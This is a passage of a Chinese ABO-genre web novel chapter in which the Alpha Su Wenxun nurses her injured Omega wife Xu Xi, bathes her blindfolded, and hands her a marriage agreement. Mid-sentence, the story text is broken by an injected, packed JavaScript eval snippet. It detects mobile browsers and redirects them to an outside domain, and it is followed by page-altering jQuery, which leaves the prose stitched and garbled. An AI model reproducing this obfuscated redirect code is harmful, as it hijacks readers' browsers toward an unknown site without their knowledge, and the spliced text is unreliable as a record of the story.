短暂的清醒后,许溪再次陷入昏迷。
没有了苏问寻阻拦,夏兰的检查和治疗都很顺利。
处理完,她才有精力看了眼苏问寻,只一眼,她的神情却迅速严肃下来。
对方颈侧那块脆弱白皙的肌肤绽开一抹血色,犹如玫瑰绽放,这是Alpha过度使用腺体的表现。
她有心想和苏问寻交流,但信息素暴乱的Alpha至少需要一周的时间才能完全恢复正常。
看着守在床边,只在乎许溪的苏问寻,夏兰关上了门。
镇定信息素的药物会有短暂的反扑期,随着药物起效,许溪复位处的伤口疼痛放大了百倍。
信息素暴乱的Alpha对外界是迟钝的,苏问寻神情麻木地注视着许溪,一滴泪从眼角溢出。可她无法理解什么是痛苦,也做不出任何行为来安抚对方。
昏迷的Omega不自觉咬住下唇。但她似乎习惯了不表露痛苦,即使下唇被咬出血痕,仍是倔强地不肯发出半点呻吟。额角渗出细密的冷汗,眉头紧蹙,仿如风雨中被摧折的蔷薇。痛到了极点,许溪试图侧身来缓解,可左腿的伤势拖累,竟到了床缘,眼见要重重摔下。
砸入一个温暖的怀抱。
“老婆……我醒得太晚了。”
苏问寻低低唤了一声,此刻的她眼神清明,眸底蕴着心疼和后怕。
刚刚的记忆完全缺失,她仿佛沉入水中,一道无形的屏障将她隔绝开。
混沌自四面八方而来,越挣扎,越缠绕她的手脚。口眼被淹没,窒息感袭来。苏问寻用力地撕扯着身上的混沌,新的混沌随之缠上。
无法逃离。
就在要放弃时,一股念头自心底而生,老婆还在等着她。
混沌尽退,苏问寻将许溪重新抱回床上,担心对方再跌下来,找了几个长枕围了一圈。
青色血管扎着医用输液针,指尖褪去血色。苏问寻将许溪的手轻轻握在手中,纤细小巧的手被完全包拢,苏问寻只觉得自己握了块冰。
虽然在药剂的作用下,许溪的病情和信息素渐渐稳定。可她在枯井中待得太久,对方又有心要杀了许溪,Omega身上仍残留着极淡的味道。
鸢尾花香从对方身上传来。
花蕊中央,却是一条毒蛇盘踞,阴冷地窥探。
不是许楚悦。
她做出了和许溪相同的判断。
即使这信息素和许楚悦一模一样,但许楚悦不会毁了一个对她有利的女儿。
她深深地看了许溪一样,反扑期已经渡过,Omega的眉头渐渐松开。小巧的下巴越发瘦削孱弱,原本白皙如雪的肌肤到处泛着可怕的青紫色,左腿被纱布和夹板紧紧缠绕,可见对方受了多大的苦楚。
这些都是原文中没有经历过的。
原本她以为离开许溪,和许溪离婚,是对对方最好的选择。但看着此刻许溪奄奄一息的模样,苏问寻突然意识到即使没有她,暗处仍有数不清的毒蛇缠绕着许溪的脚踝,试图将其拖入无望的沼泽。
这个设想让她喉间似被蓄水的棉絮堵塞,难以呼吸。她试图深呼吸,却只让那团棉絮越推越深,直到窒息。
握在手心的指尖动了下。
“哈!”
让苏问寻从窒息中解脱开来,她大口地喘息,胸口剧烈起伏,缓缓抬起眼来,眼中是前所未有的清明和坚定。
是她想错,从头到尾,她都不是那个该死的渣A。
她更不会给许溪带来伤害。
去TMD暗暗守护,她就要守在老婆身边,以伴侣的身份为许溪扫除所有障碍。
这想法让苏问寻的心底似有一股滚烫的活血在翻滚,几乎烫得她受不住。
她想许溪对她笑,想许溪能够快乐自由。
想……
许溪也喜欢她。
——
额头上是微凉的重量,许溪伸手,将白毛巾取下。身上没有粘腻的汗,应该是有人在她高热期间细心擦试过。
她侧头看了眼周围,是一圈围起的长枕,没有苏问寻。
她的眼神微微黯淡,一夜的高热让许溪的口唇发干,床头处备了杯水。她撑起身子,试图去拿,但肾上腺素褪去,左腿的剧痛完全袭来,只是个简单地撑起动作,就让她浑身冒冷汗,只能维持撑起的动作,等疼痛缓过去。
传来门开的声音,苏问寻快步,放下手中刚煮好的粥,忙去扶许溪。
许溪开口,稍许迟疑:“你没走……”
“我怕你醒后饿,所以去煮了些粥。”
苏问寻拿了长枕垫在许溪身后,好让对方舒适点:“你想喝水吗?我给你拿。”
许溪接过水杯,水顺着喉咙而下,缓解了渴意。温热,是刚刚好的温度,连带着心底似乎都被这热水温暖。自己不知道什么时候能够醒来,对方是热了多少次,才能这样的刚好。
“苏问寻,你一夜没睡?”
Alpha的眼尾带着倦意,长发略显凌乱,几缕碎发垂在额前,憔悴却也只是添了几分病态的美感。
“老婆,你在担心我?”
苏问寻也的确如许溪所说,为了照顾对方整夜未眠。她不想让许溪有负担感,因此没有回答许溪的问题,避重就轻。许溪内敛不喜表达情感,她这样问,对方必定会揭开这个话题。
Omega不偏不倚地看着她,认真地说道:“是,我在担心你。”
苏问寻愣住,世界突然安静,仅剩下她如雷的心跳。这是许溪第一次明确地表达关心,而关心的对象是她。
“老婆…我……”一时间,苏问寻的话变得颠三倒四,到了最后只化成三个字,“没事的。”
许溪不解,为什么自己只说了一句,对方眼中的亮光却越来越盛,就好像她给了一个极大的认可。而自己的心竟也被对方感染,跳得有些不寻常。
她抿了抿唇,忽略自己的异样:“睡吧,你也要休息。”
顿了顿:“你就睡在我身边。”
“老婆,我只睡一会……你记得喝”粥。
话还没说完,长睫落下,苏问寻睡去。
睫毛阴影投在眼下的青色,先前的“苏问寻”十分注重外表,从不允许这样的疲态在身上出现。
“你为什么来救我?”
许溪情对着熟睡的苏问寻询问,即使知道对方不会回答自己。
随着时间的推移,许溪作为SSS级Omega,虽然行动各方面还是困难,但恢复得已经比寻常人快上许多。
夏兰又来过一趟,看见清醒的苏问寻很是惊讶。但转念一想,凡事无绝对,多半是和许溪相关,才让苏问寻提前从信息素暴乱的状态出来。
她为许溪换了药,苏问寻将她送到大门口,却见夏兰没有直接走。
“苏小姐。”夏兰严肃了神情,作为医生,有些话她必须交代,“你目前的腺体已经不单单用糟糕来形容了,如果不能立刻标记你太太,你的情况只会更差。”
“我明白。”
夏兰以为对方还是要说出离婚这件事,就要继续劝,却听见苏问寻说:“夏医生,你放心。我知道怎么做,只是想请你帮我伪造一份腺体残疾的资料。”
“难道你还是不想和她说出实情?”夏兰叹了口气,“你有自己的考量,我知道了。”
“谢谢你,夏医生。”
送走夏兰后,苏问寻回到房间,就见到轮椅上没有了许溪的痕迹,而浴室传来流水声,紧随着是一声跌倒的声响。
苏问寻猛地冲进去,热气氤氲的水雾中,许溪已经摔倒在地面上。她没有喊痛,只是对着苏问寻说:
“苏问寻,我需要洗澡。”
这些日子,许溪一直靠着简单擦拭。但她喜洁,即使是凉爽的秋日,连续几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16060177|179179||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日的无法洗澡也让她感到不适。
苏问寻眼里的担心显而易见,睫毛颤了颤:“如果老婆你真的受不了,我帮你洗。”
……
“好。”
洗澡这事既亲密又暧昧,只有爱侣间才会帮忙。苏问寻也意识到自己的话不妥,但她无法放任这样的意外再次发生。
她离开浴室,衣柜中有平日里装饰用的丝带。她将丝带覆于眼上,绕在后面打了个轻巧的结。
“苏问寻。”许溪唤了声,好让对方能辨明她的位置。
苏问寻弯腰,以公主抱的姿势将许溪抱起。此时的许溪身上衣物已经褪去大半,仅剩下贴身的衣物。肌肤与肌肤紧贴,失去了视线,触感就越发鲜明,滑嫩柔软的触感让苏问寻欲罢不能。一瞬间,她就感到口干舌燥。
苏问寻几乎不敢细想此时的许溪是以什么模样在她的怀中,她努力保持着清醒,将对方缓缓放入热水中。水些许地溢出,打湿了她的裙子。
但这只是第一步,对苏问寻而言最艰难的是帮对方擦洗。
浴室是个私人的空间,即使苏问寻的产业极多,这里也建造得狭小舒适。
此刻,水汽氤氲,白雾覆盖镜面,模糊了两人的人影。热水裹住许溪的身躯,水珠自锁骨处缓缓滑下,隐入沟壑。
苏问寻不想冒犯许溪。
流水自指缝穿过,沐浴露的甜香随着她的触碰,在许溪身上一寸寸留下。
丝带有些许的透光,眼前是模模糊糊的大致轮廓,帮助着她避开那些旖旎。但随着触碰和擦洗,修长的肩颈,光裸的脊背,纤细的腰线,修长的双腿,一一在她脑海中留下了样子。
苏问寻的手心在发烫,却仍不如心头那么烫,她可以听见自己乱跳的心音。耳尖发红,一时间,她甚至有了个荒唐的念头。
想要拿唇去厮磨,进一步感受这美好。
既煎熬又痴迷,她分了神,手底下是陷下去的柔软,紧随对方的身躯轻颤。
“老婆,是我不小心。”
苏问寻忙收回手,将许溪从浴池中抱出,手忙脚乱地拿干毛巾为对方擦拭。
她不知道的是,在被丝带蒙住的时间里,许溪也在注视着她。
Alpha显然没有和其他人亲密接触的经验,简单的擦拭也生疏慌乱。
可记忆中,“苏问寻”虽然为了白月光林玥筱守身如玉。生意上和朋友间,对于其他Omega可以说是来者不拒,调/情的话往往哄的对方面红耳赤,而不是像现在这样,就好像从来没有和其他人交往过。
乖得和只喜欢自己的小狗一样。
以至于刚刚那么冒犯的动作,她第一反应也只是对方误碰了,没有怪罪对方的意思。
苏问寻给许溪换了身干净的睡裙,才如释重负地取了蒙眼的丝带。
这时,门铃声响起,显示有人来,打破了两人间暧昧的氛围。
黎锦拿了份牛皮纸袋:“苏总,这是你要的文件。”
黎锦对其他并不关心,但想到苏问寻让她草拟的内容,望着已经关闭的大门,嘀咕了句:“没见过有人赶着送钱的。”
苏问寻拿到文档,想要放在书房,晚些日子再和许溪商量。
转身,却见许溪坐在轮椅上,不发一言。
见许溪已经看到,苏问寻将手中的纸袋递给了对方:“老婆,我想你看看这份协议。”
许溪的目光落在对方递过来的纸袋上,些许自嘲。
因为这些日子苏问寻对她太好,她都忘了在回门前两人有过约定,也忘了这份早该签下的离婚协议。
心脏传来微微刺痛,许溪接过纸袋。没有任何犹豫,只说:“好,我会签下这份协议,如你所愿。”
撕开密封口,许溪拿出文档,眸光停滞。
纸张的最上方,明晃晃地落着四个字:
结婚协议。